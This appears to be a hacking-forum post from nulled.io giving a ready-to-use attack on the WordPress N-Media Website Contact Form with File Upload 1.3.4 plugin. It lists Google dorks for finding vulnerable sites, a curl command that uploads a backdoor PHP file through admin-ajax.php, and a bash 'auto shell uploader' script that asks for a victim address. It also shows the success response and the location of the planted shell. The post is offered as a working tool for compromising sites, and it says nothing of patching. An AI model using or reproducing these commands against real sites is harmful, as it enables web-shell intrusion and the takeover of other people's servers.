nulled.io ::: Wordpress Vuln Description

1. First Find Vulnerable Sites Using Dorks
-----------------------------------------------------------------------------------------------------------------------------------
Code:
index of website-contact-form-with-file-upload
index of /uploads/contact_files/
inurl:"/uploads/contact_files/"
-----------------------------------------------------------------------------------------------------------------------------------
OR/THEN Add This To WP Site
----------------------------------------------------------------------------------------------------------------------------------
Code:
/wp-admin/admin-ajax.php
-----------------------------------------------------------------------------------------------------------------------------------
SCRIPTS::






------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


There Are Two Methods,
==> Manually With Curl

------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------Code:
curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_upload_file" http://www.VICTIM.com/wp-admin/admin-ajax.php
-------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------


==>
With Bash Script :
----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------

Code:
#!/bin/bash
#
# Exploit Title : Wordpress N-Media Website Contact Form with File Upload 1.3.4
# Google Dork : inurl:"/uploads/contact_files/"
# Exploit Author : Claudio Viviani
# Vulnerability discovered by : Claudio Viviani
# Script Written by : F17.c0de
# Software link : https://downloads.wordpress.org/plugin/website-contact-form-with-file-upload.1.3.4.zip
# Version : 1.3.4
# Tested on : Kali Linux 1.1.0a / Curl 7.26.0
# Info: The "upload_file()" ajax function is affected from unrestircted file upload vulnerability
# Response : {"status":"uploaded","filename":"YOURSHELL"}
# Shell location http://VICTIM/wp-content/uploads/contact_files/YOURSHELL

echo '
+------+
|      |
| Wordpress N-Media Website Contact Form with File Upload 1.3.4 |
|      |
+------+
|      |
|    Script by       : F17.c0de      |
|    Vuln Discovered by : Claudio Viviani      |
|    Date           : 15.04.2015      |
|    Google Dork       : inurl:"/uploads/contact_files/"    |
|    Vulnerability       : "upload_file()" on admin-ajax.php  |
|    Description       : Auto shell uploader      |
|      |
+------+
|      No System is Safe      |
+------+
'

echo -n -e "Path of your shell: "
read bd
echo -n -e "Victim address [ex: http://www.victim.com]: "
read st
sleep 1
echo
echo "Uploading Shell. . ."
echo

curl -k -X POST -F "action=upload" -F "Filedata=@./$bd" -F "action=nm_webcontact_upload_file" $st/wp-admin/admin-ajax.php

echo
echo
echo "Job Finished"
echo
----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------


==>
If everything was done with success, you will see this response after executing CURL.
---------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
Code:
Response: {"status":"uploaded","filename":"1427927588-backdoor.php"}

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
==>
Location:

---------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------
Code:
http://VICTIM/wp-content/uploads/contact_files/1427927588-backdoor.php

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------